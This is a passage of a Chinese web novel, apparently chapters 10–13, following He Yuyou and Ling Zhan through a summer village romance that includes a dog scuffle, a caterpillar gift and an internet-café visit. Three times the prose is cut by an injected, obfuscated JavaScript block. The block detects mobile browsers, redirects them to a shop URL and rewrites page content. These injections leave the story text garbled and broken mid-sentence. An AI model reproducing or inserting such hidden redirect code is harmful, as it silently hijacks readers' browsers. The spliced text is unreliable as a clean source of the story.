“小昊也来了?”只见贺峰笑着摸那十二三岁男孩脑袋,“你这痘痘怎么还没好,没去看医生啊?” “看了,我爱挤,老不好,医生说青春期都这样……”小少年的声音带着几分羞赧。 贺峰又打趣了几句,朝向旁边那顶尖漂亮女孩儿说话。 “向悦,你爸这朋友,不会是老凌吧?”贺峰问,“他上周说要从国外回来。” “对,就是凌叔叔。”向悦应着,“爸爸说他们一起谈个新项目,好像是要建个影视基地。凌叔叔是建筑师嘛。” 合雨悠不由自主地把目光牢牢投在她身上。 她好漂亮。 向悦留着一头微卷的长发,皮肤白皙,妆容精致漂亮,精致的眉眼间透着几分骄矜。说实话,这几乎是她见过的最漂亮的女生了,根本让人移不开眼的美貌。 合雨悠不由得看呆了。 “凌湛在哪儿呢?”向悦踩着凉鞋期待地环顾四周。 “应该在阁楼吧,”贺峰抬了下眼说,“他喜欢在那儿看电影。小盒子好像也在上面。” “小盒子是谁?”向悦马上问。 “附近住的丫头,和你们一个年级,马上读高三了。” 向悦眉头一皱,跟着“哦”了一声,踩着楼梯上去。向昊跟在后面,时不时摸摸脸上的痘痘。 咚咚的敲门声在阁楼响起。合雨悠扭头望去,下意识起身,凌湛纹丝不动,凌湛竖起手指放在唇边,那指骨修长白净,灯光一打像玉,偏偏那个动作太自然,带着点“别吵”的亲密感。 “凌湛?你在里面吗?”向悦又敲了两下,嗓门甜得发腻,“怎么锁着门呀?” “肯定睡着了。” “不可能,”向昊凑过来,“里面有电影的声音。” “那他为什么不开门?”向悦提高了声音,“就是睡着了!” “嗤,”向昊笑出声,“看你烦呗。人家就是不喜欢你啊,姐,别老是死皮赖脸的。” “臭小子!你给我过来!!说什么??” 两人打打闹闹地下楼,声音渐渐远去。 合雨悠看向凌湛,他的目光依然落在银幕上,仿佛刚才的一切都与他无关。 阁楼重新陷入沉寂,只剩下电影里细碎的对白声。 合雨悠小口地嘬着饮料,说:“那个女生来找你的。” 凌湛没出声。 合雨悠:“她好漂亮。” 凌湛扫了她一眼,好像没走心:“一般吧,还没你好看。” 合雨悠眼睛倏忽圆了一圈,说:“……真的?” “假的。”凌湛说。 合雨悠撇嘴。 凌湛又笑,说:“真的。” 合雨悠:“好了别解释。” 凌湛扫了她一眼,果然没解释。 合雨悠十分别扭,欲言又止地去看他的表情,却见他漫不经心的视线只是落在屏幕上。 电影继续演了一会儿。 突然,一阵急促的狗叫声打破了阁楼的宁静。 “滚开!”向悦尖声道,“啊啊啊别过来!” “姐,你别怕!!”向昊慌忙捡起一根长木棍,大喊,“我帮你赶走它。” “滚开!滚!” 大黄狗的惨叫声传来,合雨悠像被针扎了一样跳起来:“别打它!”她冲到窗边看,发现向昊吓得毫无章法地在一通乱扫,两只狗都在疯狂地围攻两人,她跑到门边,却发现门被锁了。 “钥匙。”她转头看向凌湛,声音发紧,“凌湛,凌湛,钥匙给我……” 他依然靠在沙发里,神色未变。又是一声狗叫。 “求你了,那是我养大的狗,别让他们打它!”她急得快哭了,几步过去俯身在他身上摸索。他浑身一僵,修长的手指突然扣住她的手腕,力道不小。 他整个人绷紧,声音低到极点:“别乱摸。” 合雨悠这才意识到自己的失态。她的手掌正贴在他的腰侧,隔着薄薄的T恤,能感受到他紧绷的肌肉。昏暗灯光下,凌湛的眼神晦暗不明,带着某种她从未见过的情绪。 她慌乱地要抽回手,却被他握得更紧,桎梏感强烈又滚烫。 凌湛双眸盯着她:“合雨悠我是男人,你能不能有点男女之防?” “我管你是不是男的,你给我开门!”她几乎要急哭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624780|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一声狗叫,她眼眶红红,声音带着颤:“求你了,帮我开门……我怕他们打黑豆。你怎么这么讨厌!” 凌湛盯着她看了几秒,伸手从一旁桌上摸过钥匙给她:“向昊不被黑豆咬就不错了,你没看见钥匙在哪吗?非要来我身上摸。” “姐,你别往后躲了,它追过来了!”楼下传来向昊焦急的声音,果然是落于下风。 “我说了别靠近!”向悦尖叫。 “你放下木棍!”合雨悠踉跄冲下楼梯,“它们不会伤人的!别打狗!!” 她冲到院子里,大黄狗和黑狗正龇牙咧嘴地朝向家姐弟吠叫。向悦躲在弟弟身后,向昊举着木棍,手臂微微发抖。 “黄豆黑豆,你们快过来。”合雨悠蹲下来,焦急地唤道。两条狗立刻夹着尾巴跑到她身边,讨好地蹭着她的手。 “你疯了吗?”向悦惊魂未定,“它们会咬人的!” “不会的,”合雨悠抱着黄豆的脖子,气息不定,“它们很乖的。你把木棍放下好吗?是你拿棍子,吓到了狗在先。” 向昊看了眼姐姐,犹豫地放下木棍。 “对不起,”他不好意思地说,“我是怕它伤到我姐。” “这是你养的狗?”向悦环视四周,害怕又嫌恶地看着两条狗蹲在她身边,她躲在弟弟向昊背后,“我说怎么有股味儿。你一个农村人就不要让它们乱跑好吗?这里又不是菜地。” 合雨悠表情愣住,似是没想到她竟然这么说话:“黑豆和黄豆其实是……” “等等,”向悦的目光落在合雨悠身上,眼神倏然变得冰冷审视,“你刚刚在阁楼说话?你为什么会在阁楼上?凌湛怎么会让你进去?” “而且还锁门!!”她近乎尖叫,“他怎么会跟你这种土里土气的乡巴佬待在一起?!你们在干什么?” 合雨悠低头看着自己朴素的T恤和短裤,怒火腾地上来了,正要回怼:“乡巴佬惹你了……” “阁楼是我的地方,”一道冷淡的声音从身后传来,打断合雨悠的声音,“我让她进的。” 凌湛从台阶上走下来,目光冰冷地碰到那对姐弟。 “狗是贺叔散养的。你要是觉得有味儿,可以回家,没人请你。” 他伸手一拉,把合雨悠的手腕捏在掌里,往院里走。她被带得踉跄两步。抬头只能看见他冷峻的下颌线。 脚底的尘土轻轻扬起,细碎的光在两人之间晃动。 “发什么呆?”他偏头,语气淡淡的,热气却擦过她耳尖,“我们电影还没看完。” 身后传来向悦难以置信的抱怨声,但合雨悠已经什么都听不见了。他的手指修长而有力,温热的触感从手腕传来,烫得令她整颗心脏像熔岩迸发,拼尽全力都无法抑制。合雨悠低着头任他拉着往前走,不自觉地抬首、仰头望向凌湛的线条干净的侧脸。 11. 第 11 章 夏日的橘浦村热闹又慵懒。 蝉鸣声里,合雨悠满村乱窜,见狗摸狗,见猫撸猫,谁家小黄睡着,她都要上去掐两把脸颊。 “幺妹儿,带点田螺回切。”隔壁王婶在田埂上喊她,“刚掏的。” “谢谢王婶!”她蹦哒着跑过去,裤脚都溅上泥点。合雨悠是自带晴天滤镜的人,走哪哪儿亮堂,连王婶家的鸡都要跟着她跑两步。 凌湛偶尔在阁楼的窗边眺望这些场景。她和村里每个人都熟络,会帮大爷干活锄地,路过的黄牛她都会凑上去摸一摸头。 见过撸猫撸狗的,撸老牛的他也是头一次见。她是什么迪士尼限量款吗? 在他们关系稍微熟悉点的某天,合雨悠给凌湛带了一包非常新鲜的大白菜,用牛奶盒子装着,还说:“凌湛你看我给你带了什么?” 凌湛不感兴趣:“冰箱里还有没吃完的,又送菜?” 合雨悠说:“这个不一样!” 凌湛低头:“哪里不一样?” 合雨悠神秘兮兮地拨开一片菜叶子,肥头肥脑的翠绿毛毛虫正在里面蠕动。 凌湛:“……” 合雨悠抬头:“你之前不是到处找毛毛虫吗?我家都是大棚菜,没有,我去王婶的田里给你专门找的,找了大半天呢。” 凌湛好像这下,才忽然注意到,她脸很红,身上发热气,衣服都是湿润的,眼神却格外明亮。 合雨悠把菜连盒给他:“快拿着啊,我不想拿了。” 凌湛:“你怕毛毛虫?” 合雨悠:“不啊,这有什么好怕?就是找的有点费劲,现在大家都打农药,能找到这么大个的简直是村史奇迹。” 意思是她辛苦了! 然而凌湛好像没有什么特别的话或者感谢要对她说的样子。 合雨悠表情略显失望。送错礼物了吗? 可上次他没看见毛毛虫好像觉得很可惜的样子。 凌湛把菜盖上。 凌湛不喜欢这个,但没丢,而是丢了一些菜叶在盒里,放在院外的台阶上。 他非常认真地观察了会儿,还拍照。 贺叔为什么说菜叶上的毛毛虫可爱,是新鲜吗? 到底有什么隐喻?他拍的东西不生动,虫子就生动了? 他伸手拨了一下,一只虫子慢悠悠地缩成圈。 没意思。 但想到悠悠球在地里热得满头大汗弯腰给他抓毛毛虫,又好像有点意思。 “凌湛,你在干嘛呀?”背后传来甜腻的声音。 “观察虫子。”凌湛说。 “?啊……?”向悦笑容卡壳。 凌湛抱着盒子站起来,面无表情单手插兜看着她:“你喜欢吗,我送给你?” 向悦以为自己是听错,又看那是个牛奶盒,于是半是惊喜,半是忐忑地接过,以为是逗她呢。可凌湛直接塞到她怀里:“给你了。” 正好过来的合雨悠看见这一幕:“??” 她辛辛苦苦抓的毛毛虫送给那个女生了? 下一秒,她就看见向悦打开盒子,尖叫着失手打翻牛奶盒,盒子飞出半米远,毛毛虫们自由落体。凌湛后退半步,脸上没有表情,向悦已经崩溃大哭着跑开了。 而合雨悠一个箭步冲过来:“我的虫!!” 她心疼地用白菜叶子捡起毛毛虫,放回盒中,可是有两只已经被摔死了,绿油油的一滩。 合雨悠失落地看向凌湛:“为什么你要把我送给你的毛毛虫送给向悦?” 凌湛垂眸看她:“你看她像开心的样子吗?” ……没有女生看见这份礼物能开心的。合雨悠送他毛毛虫的脑回路也有些离奇。 凌湛神色不耐:“她太烦了,我干什么都要凑上来,离我远点最好。” 合雨悠低头闷声:“早知道不给你捉小虫了,原来只是为了吓唬一个女生。” 凌湛:“她要打你的狗,说你土,你都不讨厌?” “首先我不土,我穿的是耐克呢……”合雨悠澄清,然后说,“其次她是挺讨厌的,”她声音小了点,“可这是明明是我送你的啊……” 她语气不怎么高兴。 凌湛还是无所谓的语调:“嗯,那太好了,那我们一起讨厌她。” “……” 合雨悠叹口气:“我以为你要毛毛虫来做实验观察蝴蝶羽化,原来不是啊。” 凌湛弯腰反问:“这些毛毛虫可以变成蝴蝶?” 合雨悠抬头,正好和他对上眼睛……然后在看见他脸的时候瞬间消气了。 合雨悠轻轻抿唇道:“当然可以,你生物课没有好好学吗?我专门给你找的品种就是菜青虫,它们可以蜕变成菜粉蝶的。算了,既然你不喜欢那我带回去了。” “留着吧,”凌湛伸手拿过牛奶盒,点了一眼,“还有三只,我先养着。” 她愣了下。 “又舍不得给我了?”他抬眉。 “我只是怕你乱放,吓坏人。它们得平静才能结茧。”关于蝴蝶的蜕变过程,合雨悠相当感兴趣,这是她的创作素材,所以研究过一阵。 凌湛答应了,并把盒子放到了房间门口。 如是几日,向悦都不敢靠近他房门。看见那盒子就脸色发白地跑了。 向悦抵达后没几天,向悦的爸爸向天佑也来了,还有他老婆高容。 “凌湛啊。”向天佑的车停在外面,他戴眼镜,长相文质彬彬,搂着老婆高容走进来,和他打招呼,“你长高了不少,真是一天一个样。” 高容踩着高跟鞋,一身鹅黄色连衣裙衬得妆容精致。她朝凌湛笑:“小湛,咱们都多久没见了,上次见你还在你家呢,你爸爸手艺太好了,做的那道菜叫什么,藿香江团鱼?” 凌湛后退了一步,神色冷漠。他对向天佑打过招呼,眼神在这对貌合神离的夫妻身上逗留一圈,最后对向天佑说:“向叔,你是不是眼睛特别不好?” 向天佑愣了下,随即指着自己的眼镜道:“哈哈哈,是,叔叔度数又涨了,现在五六百度了。上次你也说我眼睛不好,可我一把年纪了,也不好去做飞秒手术吧。” 凌湛嘴角扯了下,也不说话了。 高容脸上有些尴尬,向天佑哈哈笑道:“还是这么冷酷啊这小子,平时在学校,很多女孩儿追吧?” 向悦的声音在二楼响起:“凌湛!你在这啊?你终于没带虫子了!”向昊也跟着嚷嚷,喊爸爸妈妈。姐弟俩哒哒地跑下楼梯:“妈——你们可算来了!哎?凌叔叔没来么?” 向天佑弯腰说:“他有事儿,我过来接你呢,宝贝,这儿好玩么?” 向悦想说不太好玩,又热又闷又没有娱乐,但是……她瞥向了一旁的凌湛。 她为了他才留着的。 可是凌湛故意吓唬她。 还有那个什么小盒子!两个人故意的,毛毛虫就是她捉来的!真可恶! 这会儿,合雨悠坐在角落的黑沙发上,有点局促。她没想到会有这么多客人,手里画本也不知收起还是继续画。早知道就回家了。 “悠悠球,陪我去趟街上。”一道冷淡的声音在头顶响起。 她抬起头,凌湛正看着她,眼神是黑色的。 “街上有网吧吗?”他手插在兜里。语气听起来有些不耐。 “有的啊,”合雨悠合上画本,“镇上有,不过比较小,我表姐一家在重庆开网吧,他们说镇上的机子不太好,你要去网吧上网?” 他“嗯”了一声,还看着合雨悠:“你陪我去。” “啊?”合雨悠看向腿上的本子,“那我……” 向悦追过来:“凌湛,你要去哪啊?” 凌湛不抬头说:“捉毛毛虫。” 向悦:“……” 她立刻打住,被吓的经历让她眼泪都快出来了。好好的帅哥,干嘛喜欢玩虫子!怪胎! 凌湛转身往外走。听见高容的笑声从客厅传来,他的脚步顿了顿,然后加快了步伐。 “走不走?合雨悠,你怎么这么慢。”他不耐地回头看向合雨悠。 “我来了我来了,等我下,你别着急,我去下厕所。”合雨悠抱着画本站起来。她感觉这个下午突然变得很不一样,虽然她并不明白为什么凌湛看起来这么抗拒这群客人。 向悦看见他们要一起去,心里一急,就算捉毛毛虫她也认了!她两三步追到门口:“我也要去!” “不必了。”凌湛头也不回,提上了书包。 “我要去!!” 他回首,目光冷着,看向悦和她母亲:“你别跟来,不然我不保证我会拿虫子做什么。” 向悦眼神惊疑不定,盯着他和跟上来的合雨悠。 高容攥紧了手里的杯子。 凌湛还是那副冷淡的样子,可总让她觉得心里不安。她忍不住拉住要追出去的向悦。 “那女孩是谁?”高容轻声问女儿。语气里是压抑的关心,“凌湛他……有女朋友了?” “怎么可能?!”向悦摇头,语气里有种说不出的情绪,“就是村里的,叫什么小盒子。”她走到沙发边,拿起合雨悠落在那里的作业本,看见上面贴了几张卡通可爱贴纸,“就是个农村人。”翻开扉页,“叫……合雨悠。” 她把作业本丢在地上。 高容盯着那扇虚掩的门,心里愈发不安。 凌湛什么时候会和这样的女孩走得这么近?她放下茶杯,手指微抖。那孩子五官长得太像他母亲,每次看过来,都让她心虚得难受。 从贺叔家下山回家,大约步行十五分钟,是一条笔直但狭窄的水泥路,靠近山上那一条,更是难得的古青石板。合雨悠站在家门口,有些为难:“凌湛,去镇上要走半个多小时,要不……”她指了指院子里的电动三轮。 凌湛看着那辆还有土的三轮:“……没有体面点的?” “那没了。就这个,或者自行车。”她指了指墙边的单车,“要么走路,我也可以陪你啊。我以前经常走路放学的。” 凌湛沉默片刻,走向自行车,长腿跨上去:“上来。” 阳光穿过树叶洒在他肩上,T恤被风掀出一个弧度,露出干净的颈线。 “上不上?”他侧头,眉眼里一丝不耐。 “上上上!” 她翻身爬上后座,双手轻轻攥住他的T恤下摆。一阵风吹来,她闻到凌湛身上混合着的气息。烟草的苦涩,皂香的清冽,还有一丝若有似无的汗味,揉在一起,是十几岁少年独有的荷尔蒙气息。 她好像从来……没有离男生这么近过。 没有坐过男生的自行车。 除了老爸和老哥。 合雨悠心脏有点扑通扑通的。她抬头想,要是校草主动来追她就好了,这样她就不用老是脑补偶像剧情了。 虽然在同学面前装作自己不爱看的样子,其实偶像剧她也是真没少看。 “少爷,前面左转。”她小声指路。 一个坑坎,车身猛地晃动。她下意识抱紧了他的腰,是一片烫人的硬实。 凌湛垂眼看了一眼她环在自己腰间的手,身上稍稍绷紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624781|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“对不起啊!”她忙松开,尴尬道,“我不是故意的啊!” 凌湛没说话,目光重新看向前方。转过一个弯,风又大了些,她不得不扶住他的腰,这一次却不敢用力了,又觉得不太合适,放手松开……又担心自己摔下去,于是手又收紧在他腰上。 凌湛微微绷紧了身体:“悠悠球,你能不能老实点?” 合雨悠声音小了:“呃……我努力,我不是故意的。” 她左顾右盼,抓住了车座子底部,又挪开了,抓了下他的衣服。 凌湛低头看她,最后什么也没说。 小网吧里烟味和汗味混在一起,像个油腻蒸笼,采光昏暗。 两个人一起穿过狭窄的走廊,能听见几个包间传来的游戏声和骂街声。 合雨悠紧紧跟在凌湛身后,她还没成年,连身份证都没带。 这里乌烟瘴气的。 合雨悠皱了皱鼻子,好难闻,还是他身上香一些。 凌湛挑了个角落包间,检查了身份证后,递给网管二十块钱开了一台机子。他连上便携硬盘,从书包里取出一叠分镜稿,最后戴上眼镜。 他很少戴眼镜,镜片一遮,那双原本带着锋芒的桃花眼突然安静下来。 合雨悠坐在旁边的电脑前,托着脸看他剪片子,蹦出一句:“这是什么软件,看起来好酷。” “Pr。”凌湛说。 合雨悠目不转睛:“你剪辑好厉害啊,这个转场也好好看。” 凌湛顿了一下,用看似漠不在意的语气说:“一般吧。” “哪里是一般?你拍照也很好看,这一定是未来的大导演啊!” 凌湛瞥了她一眼。 发现她好像真的很欣赏他拍的东西,表情特认真地哇来哇去,问他怎么学会的。 当然了这也并不意外啦…… 过了好久,凌湛剪了几个特牛逼的炫技转场给她偷看,嘴上还是说:“你要不别盯着我呢,做点事,我给你把这台也开了?”他示意合雨悠面前的机子。 “我不,我没成年,我不能玩网吧的电脑。”合雨悠坚决拒绝了。 凌湛挑眉:“不玩游戏?” 她:…… 挺想玩黄金矿工的。 合雨悠想了想,她可以画画,但没带本子。于是摸了摸身上衣服兜,犹豫了会儿,才抬眼看他小声问:“凌湛,我能不能借你三块钱?” 凌湛抽出一百块:“想吃零食自己去买。”他头也没抬,耳机线垂在颈侧,黑色T恤的领口微敞,隐约能看见锁骨的凌厉线条。 “不用,三块就够了。”她接过钱,轻手轻脚地出去了。她小学和初中都是在银溪镇上读的,很熟悉,所以没多久就回来了,手里拿着一个小本子和铅笔。 “没买零食?”他头也不抬,手指在键盘上敲打。 “没有,你不是让我干点正事。”合雨悠摇头。本想买辣条的,但在男神面前似乎不合适。 “不爱吃零食?我看你平时不是在吃么。”凌湛淡淡地扫她脸一眼,热得红扑扑,像刚煮熟的糯米团。 她看着是爱吃的,贺叔拿来零食招待她,她也会吃一些,但不会吃完。 “我肯定爱吃啊。”合雨悠接话。 “那不买?”他想起贺叔说过,她家大棚一年能赚好不少,不是什么穷得揭不开锅的家庭。 “我不好意思啊,说了只借一点点。”她小声。 “我以为你是小学生,爱吃辣条。” 被说中的合雨悠表情心虚地低头。 凌湛瞥了她一眼,过了会儿,发现她悄悄舔嘴唇。包间里冷气开得很足,她大概是渴了。他转头喊了声网管。 “来瓶茉莉花茶。”他看向墙上贴的卷边的零食单,又加上,“还有薯片,果冻,巧克力,星球杯,都拿一份。” 很快网管端着盘子过来。 网管走后,她趴在桌上画画。他戴着耳机剪片。冷气嗡嗡作响,窗外的蝉还在自杀式叫嚣。两人谁都没讲话,气氛却意外地柔软。 饮料被凌湛推到她面前。她抿一口,轻轻看他没抬头的侧脸,觉得甜得有点上头。 凌湛出去上厕所后,推拉门虚掩。合雨悠正低头拿手机和罗雅萱聊天,听她说她在韩国追星的事。 “美女,一个人啊?”这时,门突然被推开,一个染着黄毛的男生路过她的包间,倚在门框上打量她,“有男朋友吗?” 又来了……合雨悠下意识往椅子里缩了缩。她穿着中裤蜷在电脑椅上,两条白皙的腿在昏暗的光线下格外醒目。她其实有点害怕这些银溪镇的混混,因为初中时见过他们砍人…… 虽然她胆子大,敢挑战全球十大恐怖片,但不代表她也敢和乡镇小混混对砍…… “跟你说话呢。”黄毛又往前了一步。 “她有男朋友了。”冷冽的声音在身后响起。凌湛站在门口,眼神阴沉,拎着那人后领像提一袋垃圾:“滚。” 黄毛仰头看了眼凌湛的体型,认怂地走了。 凌湛回到座位上,眼神掠过雪白的腿:“把腿放下来。” 合雨悠这才意识到自己的坐姿有点不妥当。她赶紧放下腿,老老实实地坐好,脸有点烧:“你什么……意思?” “什么?” 合雨悠嗫嚅了几声:“你为什么说我有男朋友?” 凌湛:“你没有吗?” 合雨悠马上说:“我当然没有啊!!” 凌湛头也没抬,指骨分明,嵌在黑色鼠标上,嗓音里情绪意义不明:“哦,没有就好。” 12. 第 12 章 合雨悠垫了张广告纸趴在桌上,耳边是嘈杂的其他房间里传来的游戏音效和键盘声,再混入几声“妈的输出啊你!”的乡音怒吼。 她悄悄瞥了一眼身旁的凌湛,暗自庆幸网吧昏暗的灯光可以掩饰她的脸颊颜色。 合雨悠不是没被人追过。 可从来没有遇到过这样的。 凌湛戴着耳机,专注地盯着屏幕上的时间轴,侧脸轮廓在显示器微弱的光线下显得凌厉而分明。他随意地靠在椅背上,一条长腿伸展着,黑色T恤下隐约可见紧实的腰线。 这个角度,合雨悠刚好能看到他微微绷紧的下颌线,还有漆黑的瞳仁。 半个小时过去,凌湛终于摘下耳机。心里酝酿纠结了半天的合雨悠才说:“你刚刚为什么说我没有男朋友就好……什么意思?” 凌湛的目光依然落在屏幕上,语气懒散:“明知故问啊?” 合雨悠控制住心跳,继续追问:“什么叫明知故问。” 凌湛转过头:“问那么仔细,你想听我怎么回答?” 合雨悠低头嘟哝:“我又不是你,我怎么知道你要怎么回答。我是你肚子里的蛔虫吗?” 凌湛也低头,对着她雪白的腿,说了句:“下次别穿那么短的裤子了。” 合雨悠一头雾水地说:“也没有很短呀,这是中裤,差点就到膝盖了。” 这和中裤有什么分别? 合雨悠又说:“你是古董吗,我为什么不能这样穿?” “合雨悠你是十万个为什么吗,问问问。”凌湛抓了两片薯片塞她嘴边,“张嘴。” 她下意识张开,凌湛把薯片塞她嘴里:“吃你的零食,少说话。” 合雨悠开始嚼薯片,声音含糊不清:“你不和我说话,我是不会和你说话的。我也要画画的。”她拿起本子开始画她的人外故事,凌湛看她手上还有薯片渣,还有铅笔黑,忍不了,丢给她一包湿纸巾:“擦下手再画,不爱干净。” “我没有,”合雨悠狡辩,但还是老老实实地擦手,“我哥都不这么管我的……” 凌湛说:“我和你哥一样吗?” 合雨悠说:“不一样,我的意思是,我亲哥哥都不这样管我手脏不脏,你怎么管上了……” 凌湛嘴角一掀,凉凉地说:“等会儿回去某人还要抱我腰,摸我腹肌,我怎么能允许她手上全是口水和铅笔屑?” 合雨悠怔愣,几秒钟后脸红了,于是就不说话了。 她大脑有点空白。 因为她没有故意摸啊。 其次隔着衣服怎么能叫摸…… 而且凌湛怎么这样说话,怎么能这样、怎么能…… 合雨悠扭开头紧张地咬笔头,脸色红得可怕。 小学生吗? 咬铅笔头? 凌湛收回视线,继续看自己最近拍摄的东西,他在橘浦村拍了很多。 又一个小时,时间越来越晚,合雨悠的视线在时间上来来回回扫了几遍。 “喂,凌湛,你准备什么时候回去?”她小声问。 “开学前。”凌湛靠在椅背上,贺峰的指导可遇不可求,对他很重要,在线指导和面对面到底不同。可惜向悦一家来了,他才这么烦,宁愿在外面网吧剪片子也不想看见向悦和高容那两张精致的假脸。 合雨悠意识到他理解错了自己的意思:“我也开学前回学校,不过我是说,你今天什么时候上完网回家?” 凌湛挑了挑眉,目光落在她脸上:“着急回家?管得很严?” “不是的,”合雨悠摇摇头,“我妈妈等下就回去了,她会给我打电话的。” “这么乖。”凌湛说了句。 合雨悠没敢吱声,本来刚缓过来,现在耳朵又有点点红了。 话音刚落,手机就响了起来。合雨悠手忙脚乱地翻出手机。 “喂,妈妈……”她下意识坐直了身子。 “幺妹儿你在哪哦?都录点半了。”电话那头传来邱莲略显焦急的声音。 “我在街上呢。”合雨悠攥紧了手机。 “街上干什么?” “我、呃,陪同学玩……”合雨悠眼神悄悄瞥凌湛。 “哪个同学啊?是男的女的?” “陈静。”合雨悠咬了咬下唇,“就初中班上那个陈静……妈,我会早一点回来的,我们要在外面吃烧烤。……嗯嗯,知道了,会注意安全的妈妈,手机还有电的。知道的,我会请客的。” 挂掉电话,凌湛侧着脸看向她,漫不经心的:“看不出来啊。” 合雨悠呆呆的:“什么……” 凌湛睫毛撩起来,说:“悠悠球,很会撒谎啊。” 合雨悠飞快地解释没有:“我不是,我没成年,我不能来网吧的,不能被妈妈知道,她会生气。” 凌湛“哦”了一声,这下没有说话了。 又安静了会儿。 合雨悠憋不住出声:“那我们什么时候回去啊,我回去晚了,妈妈会着急的。”她肚子饿了,饿得都有点困了。 凌湛说等下:“不是还想吃烧烤?” “可是我……” 凌湛微微歪头:“又不想和我吃了?” ……“和我”。 合雨悠大脑空空,睫毛颤颤,瞥见他侧过来的脸,道:“想吃,但是我没有带钱。而且我怕她给陈静家里打电话……”她看起来有点纠结,“那你请我吧,下回我再请你吃别的!” 凌湛“嗯”了一声,没说什么,他当然看见了合雨悠红透的耳尖。 看起来非常的……软,且好摸,好像一掐就会出水。 凌湛看着她不知道想了一会儿什么,微微侧头:“好了悠悠球,你别担心了,要是被你妈妈发现撒谎,就说是我强迫你来的。” 合雨悠说:“本来就是你强迫我来的……” 凌湛挑眉:“我让你来的时候问你没有?” 合雨悠只能回答:“这倒是问了。” 凌湛又靠近了她一些,呼吸就在她耳边:“那能算是我强迫你?我绑架你了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624782|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合雨悠:“没……没有。”她轻轻抬手,整个人乱成一团锅里热滚滚的浆糊,她能感觉到他的气息喷在她颈侧,那种若即若离触感让她浑身发麻,腿也发软。包间本就不大,他们又靠得这样近,她甚至能闻到他身上清冽的烟草味。她开始推他,轻轻的:“你别、别那个……靠我太近了。” 凌湛盯着她泛红的脸颊,低头看见两只小手含蓄地推他的身体,正好落在他锻炼得当的腹肌上,心里下意识弥漫一种微妙而异样的情绪。 “那你说,”他的声音更低了,几乎是紧绷的,“如果被你妈妈发现,我该怎么解释?” “我怎么知道……她不能知道,我会死的。”合雨悠咬着下唇,脸烫得吓人。包间里很闷,显示器的风扇嗡嗡作响,隔壁传来一阵欢呼声,有人走过,脚步声在狭窄的过道里格外清晰。 凌湛的目光依然落在她脸上,稍微离开了些:“这么严重?还会体罚家暴?” 合雨悠:“可能吧……我觉得会打死我的。” 凌湛:“那我知道了,做什么都背着你爸妈就行了。” 因为他离开了一些,合雨悠立马感觉稍微能呼吸了:“……你还想做什么啊。” 凌湛:“我哪知道。” 合雨悠脑袋像鹌鹑一样低下了。 她感觉自己要被煮熟了。 随即凌湛慵懒地靠回椅背,重新戴上耳机。 刚才那个几乎要把她撩得魂飞魄散的男生,此刻又恢复了一贯的懒散冷淡样子,仿佛什么都没发生过。 他修长的手指落在键盘上,眼神重新聚焦在屏幕。 旁边的包间又爆发出一阵笑声。 “我去透透气……”合雨悠站起,推开门快步出去。凌湛看了她的背影一眼。 两人从网吧出来,暮色已经四合。 合雨悠走到自行车停放的地方,突然愣在原地。她的心陡然沉下去,目光在每一辆自行车上来回扫视,最后看向凌湛:“我的车不见了。” “丢了?”凌湛走到她身边。 “嗯,它不见了……被偷了。”合雨悠有点迷茫,不知道怎么跟家里解释这件事。 “怎么这么呆,明天给你买一辆新的。”凌湛说,“跟你妈妈说车是我借走的,她不会骂你。” “我妈妈本来也不怎么骂我的……”合雨悠小声说。 凌湛微微挑眉:“刚刚不是说要打死你?” “那是我骗你的。”合雨悠解释,“她不骂我的,也不打我,经常打我哥倒是。” 可是合雨悠知道,那是因为她不犯错、成绩好,而早恋在他们家,一定是个天大的错误。 凌湛说:“你和你哥待遇怎么不一样?因为你哥比较调皮,而你平时很乖?” 她下意识轻轻点头。 凌湛略微弯下腰,鸦羽般的黑睫垂下,目光在她脸上细细打量。昏黄的路灯下,合雨悠的睫毛微微颤动,她被他看得不好意思,垂下眼帘。 “是挺乖的。”他的嗓音低沉,漫不经心地笑。 13. 第 13 章 关于合雨悠性格“乖”这件事,似乎是公认的。 在父母的管教下,她从小到大没有做过一件出格的事,学习成绩好,交的朋友也都是文文静静的女孩子,不会化妆不会很晚回家,在外读书也经常和爸爸妈妈打电话。 可她自己觉得自己不是那样的。 她可以干出格的事,她也可以不听话,也可以不那么乖。 她的反叛精神,就像海底的火山一样。 凌湛把她送回家,是晚上的十点。 合雨悠推开家门时,妈妈正坐在竹椅上打着蒲扇,见她回来,立刻起身:“悠悠回来了,吃饭了吗?西瓜冰着呢。” “吃过了,我和小静吃的烤鱼。”她轻声说,目光落在客厅里那台嗡嗡作响的老式电风扇上,爸爸在旁边看电视,仔细一看已经在沙发上仰着头打瞌睡了。 妈妈没注意到自行车的事,这很好…… 